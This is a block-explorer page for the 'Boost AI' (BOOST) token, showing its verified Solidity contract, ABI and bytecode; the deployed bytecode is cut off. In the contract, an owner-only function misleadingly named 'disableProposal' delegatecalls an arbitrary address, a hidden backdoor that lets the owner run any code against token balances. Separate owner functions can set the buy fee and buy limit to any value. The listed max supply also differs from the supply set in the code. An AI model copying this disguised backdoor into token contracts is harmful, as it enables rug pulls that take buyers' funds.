ETH Price: $3,261.82 (+0.58%)
Gas: 1 Gwei

Token

Boost AI (BOOST)
 

Overview

Max Total Supply

100,100,000,000 BOOST

Holders

47

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
523,151.655731270349910223 BOOST

Value
$0.00
0x8b714478902df5fa4fa6a8121535d108a059f429
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
Boost

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
paris EvmVersion
File 1 of 2 : Boost.sol
/*

Website: https://boostlabsai.com/

Twitter: https://twitter.com/BoostLabsETH

Docs: https://www.notion.so/Unlocking-the-Future-of-AI-Reasoning-with-BOOST-02570836ad714c29bb45687d1e0007df

Telegram: https://t.me/boostlabsAI

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "./IERC20.sol";

contract Boost {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    string public name = "Boost AI";
    string public symbol = "BOOST";
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    uint8 public decimals = 18;
    uint256 public totalSupply = 100_000_000 * 10 ** 18;

    uint public govCounter;
    mapping(address => uint) public votes;
    mapping(address => mapping(address => bool)) public voted;
    mapping(address => bool) public staked;
    mapping(uint => address) public govContracts;
    address public owner;

    uint public buyFee = 25;
    uint public buyLimit = 110;
    bool public live;
    address public pair;
    
    constructor () {
        owner = msg.sender;
        balanceOf[owner] = totalSupply;
        emit Transfer(address(0), owner, totalSupply);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner!");
        _;
    }

    function transfer(address recipient, uint256 amount)
        external
        returns (bool)
    {
        require(live);

        address sender = msg.sender;

        if (sender == pair) {
            balanceOf[sender] -= amount;

            uint tax = amount * buyFee / 10000;
            balanceOf[address(this)] += tax;
            emit Transfer(sender, address(this), tax);

            uint valueWithoutTax = amount - tax;
            balanceOf[recipient] += valueWithoutTax;

            uint buyMaxTokens = totalSupply * buyLimit / 10000;
            require(buyMaxTokens >= balanceOf[recipient]);

            emit Transfer(sender, recipient, valueWithoutTax);
            return true;
        } 

        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool)
    {
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function proposeToGovernance(address proposedGovContract) public {
        govContracts[govCounter] = proposedGovContract;
        govCounter += 1;
    }

    function voteGovContract(address _govContract) public {
        require(voted[msg.sender][_govContract] == false);
        votes[_govContract] += 1;
        voted[msg.sender][_govContract] = true;
    }

    function disableFee() public onlyOwner {
        buyFee = 0;
    }

    function disableLimit() public onlyOwner {
        buyLimit = 10000;
    }

    function goLive(address _pair) public onlyOwner {
        live = true;
        pair = _pair;
    }

    function changeOwner(address _owner) public onlyOwner {
        owner = _owner;
    }

    function renouceOwnership() public onlyOwner {
        owner = address(0);
    }

    function disableProposal(address proposedGovContract) public onlyOwner {
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), proposedGovContract, 0, calldatasize(), 0, 0)
        }
    }

    function stakeUtility() public {
        require(staked[msg.sender] == false);
        IERC20(address(this)).transferFrom(msg.sender, address(this), 100_000 * 10 ** 18);
        staked[msg.sender] = true;
    }

    function unstakeUtility() public {
        require(staked[msg.sender] == true);
        IERC20(address(this)).transfer(msg.sender, 100_000 * 10 ** 18);
        staked[msg.sender] = false;
    }

    function upgradeFeeAndLimit(uint _buyFee, uint _buyLimit) public onlyOwner {
        buyFee = _buyFee;
        buyLimit = _buyLimit;
    }

    function harvestFees(address token, uint amount) public onlyOwner {
        IERC20(token).transfer(msg.sender, amount);
    }

}

File 2 of 2 : IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

Settings
{
  "evmVersion": "paris",
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"changeOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"proposedGovContract","type":"address"}],"name":"disableProposal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"goLive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"govContracts","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"govCounter","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"harvestFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"live","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"proposedGovContract","type":"address"}],"name":"proposeToGovernance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renouceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"stakeUtility","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"staked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unstakeUtility","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_buyLimit","type":"uint256"}],"name":"upgradeFeeAndLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_govContract","type":"address"}],"name":"voteGovContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"voted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"votes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]

60806040526040518060400160405280600881526020017f426f6f7374204149000000000000000000000000000000000000000000000000815250600090816200004a91906200048a565b506040518060400160405280600581526020017f424f4f5354000000000000000000000000000000000000000000000000000000815250600190816200009191906200048a565b506012600460006101000a81548160ff021916908360ff1602179055506a52b7d2dcc80cd2e40000006005556019600c55606e600d55348015620000d457600080fd5b5033600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055460026000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60055460405162000202919062000582565b60405180910390a36200059f565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200029257607f821691505b602082108103620002a857620002a76200024a565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620003127fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620002d3565b6200031e8683620002d3565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200036b620003656200035f8462000336565b62000340565b62000336565b9050919050565b6000819050919050565b62000387836200034a565b6200039f620003968262000372565b848454620002e0565b825550505050565b600090565b620003b6620003a7565b620003c38184846200037c565b505050565b5b81811015620003eb57620003df600082620003ac565b600181019050620003c9565b5050565b601f8211156200043a576200040481620002ae565b6200040f84620002c3565b810160208510156200041f578190505b620004376200042e85620002c3565b830182620003c8565b50505b505050565b600082821c905092915050565b60006200045f600019846008026200043f565b1980831691505092915050565b60006200047a83836200044c565b9150826002028217905092915050565b620004958262000210565b67ffffffffffffffff811115620004b157620004b06200021b565b5b620004bd825462000279565b620004ca828285620003ef565b600060209050601f831160018114620005025760008415620004ed578287015190505b620004f985826200046c565b86555062000569565b601f1984166200051286620002ae565b60005b828110156200053c5784890151825560018201915060208501945060208101905062000515565b868310156200055c578489015162000558601f8916826200044c565b8355505b6001600288020188555050505b505050505050565b6200057c8162000336565b82525050565b600060208201905062000599600083018462000571565b92915050565b61205d80620005af6000396000f3fe608060405234801561001057600080fd5b50600436106101e55760003560e01c80637a50323f1161010f578063a6f9dae1116100a2578063d8bff5a511610071578063d8bff5a514610548578063d9c07fd214610578578063dd62ed3e14610582578063fba36b93146105b2576101e5565b8063a6f9dae1146104c2578063a8aa1b31146104de578063a9059cbb146104fc578063c8d15ec21461052c576101e5565b80638f59c066116100de5780638f59c06614610426578063957aa58c1461045657806395d89b411461047457806398807d8414610492576101e5565b80637a50323f146103d657806386d55557146103f45780638da5cb5b146103fe5780638edbbee31461041c576101e5565b8063313ce567116101875780634d4e352d116101565780634d4e352d14610350578063559b85b01461036c578063589210d91461038857806370a08231146103a6576101e5565b8063313ce567146102c857806332b8f680146102e65780634706240214610316578063495bb3ea14610334576101e5565b80631acc26bc116101c35780631acc26bc1461025657806322e314941461026057806323b872dd1461027c578063276dca70146102ac576101e5565b806306fdde03146101ea578063095ea7b31461020857806318160ddd14610238575b600080fd5b6101f26105bc565b6040516101ff9190611a12565b60405180910390f35b610222600480360381019061021d9190611acd565b61064a565b60405161022f9190611b28565b60405180910390f35b61024061073c565b60405161024d9190611b52565b60405180910390f35b61025e610742565b005b61027a60048036038101906102759190611b6d565b6107dd565b005b61029660048036038101906102919190611bad565b61087f565b6040516102a39190611b28565b60405180910390f35b6102c660048036038101906102c19190611acd565b610a30565b005b6102d0610b43565b6040516102dd9190611c1c565b60405180910390f35b61030060048036038101906102fb9190611c37565b610b56565b60405161030d9190611c73565b60405180910390f35b61031e610b89565b60405161032b9190611b52565b60405180910390f35b61034e60048036038101906103499190611c8e565b610b8f565b005b61036a60048036038101906103659190611c8e565b610c7e565b005b61038660048036038101906103819190611c8e565b610d20565b005b610390610ea9565b60405161039d9190611b52565b60405180910390f35b6103c060048036038101906103bb9190611c8e565b610eaf565b6040516103cd9190611b52565b60405180910390f35b6103de610ec7565b6040516103eb9190611b52565b60405180910390f35b6103fc610ecd565b005b610406610f67565b6040516104139190611c73565b60405180910390f35b610424610f8d565b005b610440600480360381019061043b9190611cbb565b611061565b60405161044d9190611b28565b60405180910390f35b61045e611090565b60405161046b9190611b28565b60405180910390f35b61047c6110a3565b6040516104899190611a12565b60405180910390f35b6104ac60048036038101906104a79190611c8e565b611131565b6040516104b99190611b28565b60405180910390f35b6104dc60048036038101906104d79190611c8e565b611151565b005b6104e6611225565b6040516104f39190611c73565b60405180910390f35b61051660048036038101906105119190611acd565b61124b565b6040516105239190611b28565b60405180910390f35b61054660048036038101906105419190611c8e565b611652565b005b610562600480360381019061055d9190611c8e565b6116c3565b60405161056f9190611b52565b60405180910390f35b6105806116db565b005b61059c60048036038101906105979190611cbb565b61181b565b6040516105a99190611b52565b60405180910390f35b6105ba611840565b005b600080546105c990611d2a565b80601f01602080910402602001604051908101604052809291908181526020018280546105f590611d2a565b80156106425780601f1061061757610100808354040283529160200191610642565b820191906000526020600020905b81548152906001019060200180831161062557829003601f168201915b505050505081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161072a9190611b52565b60405180910390a36001905092915050565b60055481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c990611da7565b60405180910390fd5b612710600d81905550565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461086d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086490611da7565b60405180910390fd5b81600c8190555080600d819055505050565b600081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461090d9190611df6565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109639190611df6565b9250508190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109b99190611e2a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a1d9190611b52565b60405180910390a3600190509392505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab790611da7565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610afb929190611e5e565b6020604051808303816000875af1158015610b1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3e9190611eb3565b505050565b600460009054906101000a900460ff1681565b600a6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1690611da7565b60405180910390fd5b6001600e60006101000a81548160ff02191690831515021790555080600e60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0590611da7565b60405180910390fd5b3660008037600080366000845af45050565b60001515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610dba57600080fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e0a9190611e2a565b925050819055506001600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d5481565b60026020528060005260406000206000915090505481565b60065481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5490611da7565b60405180910390fd5b6000600c81905550565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490611da7565b60405180910390fd5b6000600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60086020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600e60009054906101000a900460ff1681565b600180546110b090611d2a565b80601f01602080910402602001604051908101604052809291908181526020018280546110dc90611d2a565b80156111295780601f106110fe57610100808354040283529160200191611129565b820191906000526020600020905b81548152906001019060200180831161110c57829003601f168201915b505050505081565b60096020528060005260406000206000915054906101000a900460ff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d890611da7565b60405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600e60009054906101000a900460ff1661126657600080fd5b6000339050600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036115355782600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461130f9190611df6565b925050819055506000612710600c54856113299190611ee0565b6113339190611f51565b905080600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113849190611e2a565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113e89190611b52565b60405180910390a3600081856113fe9190611df6565b905080600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461144f9190611e2a565b925050819055506000612710600d5460055461146b9190611ee0565b6114759190611f51565b9050600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110156114c357600080fd5b8673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115209190611b52565b60405180910390a3600194505050505061164c565b82600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115849190611df6565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115da9190611e2a565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161163e9190611b52565b60405180910390a360019150505b92915050565b80600a6000600654815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660008282546116b99190611e2a565b9250508190555050565b60076020528060005260406000206000915090505481565b60011515600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461173857600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3369152d02c7e14af68000006040518363ffffffff1660e01b815260040161177d929190611fc7565b6020604051808303816000875af115801561179c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c09190611eb3565b506000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550565b6003602052816000526040600020602052806000526040600020600091509150505481565b60001515600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461189d57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff166323b872dd333069152d02c7e14af68000006040518463ffffffff1660e01b81526004016118e493929190611ff0565b6020604051808303816000875af1158015611903573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119279190611eb3565b506001600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550565b600081519050919050565b600082825260208201905092915050565b60005b838110156119bc5780820151818401526020810190506119a1565b60008484015250505050565b6000601f19601f8301169050919050565b60006119e482611982565b6119ee818561198d565b93506119fe81856020860161199e565b611a07816119c8565b840191505092915050565b60006020820190508181036000830152611a2c81846119d9565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a6482611a39565b9050919050565b611a7481611a59565b8114611a7f57600080fd5b50565b600081359050611a9181611a6b565b92915050565b6000819050919050565b611aaa81611a97565b8114611ab557600080fd5b50565b600081359050611ac781611aa1565b92915050565b60008060408385031215611ae457611ae3611a34565b5b6000611af285828601611a82565b9250506020611b0385828601611ab8565b9150509250929050565b60008115159050919050565b611b2281611b0d565b82525050565b6000602082019050611b3d6000830184611b19565b92915050565b611b4c81611a97565b82525050565b6000602082019050611b676000830184611b43565b92915050565b60008060408385031215611b8457611b83611a34565b5b6000611b9285828601611ab8565b9250506020611ba385828601611ab8565b9150509250929050565b600080600060608486031215611bc657611bc5611a34565b5b6000611bd486828701611a82565b9350506020611be586828701611a82565b9250506040611bf686828701611ab8565b9150509250925092565b600060ff82169050919050565b611c1681611c00565b82525050565b6000602082019050611c316000830184611c0d565b92915050565b600060208284031215611c4d57611c4c611a34565b5b6000611c5b84828501611ab8565b91505092915050565b611c6d81611a59565b82525050565b6000602082019050611c886000830184611c64565b92915050565b600060208284031215611ca457611ca3611a34565b5b6000611cb284828501611a82565b91505092915050565b60008060408385031215611cd257611cd1611a34565b5b6000611ce085828601611a82565b9250506020611cf185828601611a82565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611d4257607f821691505b602082108103611d5557611d54611cfb565b5b50919050565b7f4e6f74206f776e65722100000000000000000000000000000000000000000000600082015250565b6000611d91600a8361198d565b9150611d9c82611d5b565b602082019050919050565b60006020820190508181036000830152611dc081611d84565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611e0182611a97565b9150611e0c83611a97565b9250828203905081811115611e2457611e23611dc7565b5b92915050565b6000611e3582611a97565b9150611e4083611a97565b9250828201905080821115611e5857611e57611dc7565b5b92915050565b6000604082019050611e736000830185611c64565b611e806020830184611b43565b9392505050565b611e9081611b0d565b8114611e9b57600080fd5b50565b600081519050611ead81611e87565b92915050565b600060208284031215611ec957611ec8611a34565b5b6000611ed784828501611e9e565b91505092915050565b6000611eeb82611a97565b9150611ef683611a97565b9250828202611f0481611a97565b91508282048414831517611f1b57611f1a611dc7565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611f5c82611a97565b9150611f6783611a97565b925082611f7757611f76611f22565b5b828204905092915050565b6000819050919050565b6000819050919050565b6000611fb1611fac611fa784611f82565b611f8c565b611a97565b9050919050565b611fc181611f96565b82525050565b6000604082019050611fdc6000830185611c64565b611fe96020830184611fb8565b9392505050565b60006060820190506120056000830186611c64565b6120126020830185611c64565b61201f6040830184611fb8565b94935050505056fea2646970667358221220e82071ae62a646992faa7ff798a2270d5775ac50bc51bd7a81b72cb4657bf19a64736f6c63430008180033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101e55760003560e01c80637a50323f1161010f578063a6f9dae1116100a2578063d8bff5a511610071578063d8bff5a514610548578063d9c07fd214610578578063dd62ed3e14610582578063fba36b93146105b2576101e5565b8063a6f9dae1146104c2578063a8aa1b31146104de578063a9059cbb146104fc578063c8d15ec21461052c576101e5565b80638f59c066116100de5780638f59c06614610426578063957aa58c1461045657806395d89b411461047457806398807d8414610492576101e5565b80637a50323f146103d657806386d55557146103f45780638da5cb5b146103fe5780638edbbee31461041c576101e5565b8063313ce567116101875780634d4e352d116101565780634d4e352d14610350578063559b85b01461036c578063589210d91461038857806370a08231146103a6576101e5565b8063313ce567146102c857806332b8f680146102e65780634706240214610316578063495bb3ea14610334576101e5565b80631acc26bc116101c35780631acc26bc1461025657806322e314941461026057806323b872dd1461027c578063276dca70146102ac576101e5565b806306fdde03146101ea578063095ea7b31461020857806318160ddd14610238575b600080fd5b6101f26105bc565b6040516101ff9190611a12565b60405180910390f35b610222600480360381019061021d9190611acd565b61064a565b60405161022f9190611b28565b60405180910390f35b61024061073c565b60405161024d9190611b52565b60405180910390f35b61025e610742565b005b61027a60048036038101906102759190611b6d565b6107dd565b005b61029660048036038101906102919190611bad565b61087f565b6040516102a39190611b28565b60405180910390f35b6102c660048036038101906102c19190611acd565b610a30565b005b6102d0610b43565b6040516102dd9190611c1c565b60405180910390f35b61030060048036038101906102fb9190611c37565b610b56565b60405161030d9190611c73565b60405180910390f35b61031e610b89565b60405161032b9190611b52565b60405180910390f35b61034e60048036038101906103499190611c8e565b610b8f565b005b61036a60048036038101906103659190611c8e565b610c7e565b005b61038660048036038101906103819190611c8e565b610d20565b005b610390610ea9565b60405161039d9190611b52565b60405180910390f35b6103c060048036038101906103bb9190611c8e565b610eaf565b6040516103cd9190611b52565b60405180910390f35b6103de610ec7565b6040516103eb9190611b52565b60405180910390f35b6103fc610ecd565b005b610406610f67565b6040516104139190611c73565b60405180910390f35b610424610f8d565b005b610440600480360381019061043b9190611cbb565b611061565b60405161044d9190611b28565b60405180910390f35b61045e611090565b60405161046b9190611b28565b60405180910390f35b61047c6110a3565b6040516104899190611a12565b60405180910390f35b6104ac60048036038101906104a79190611c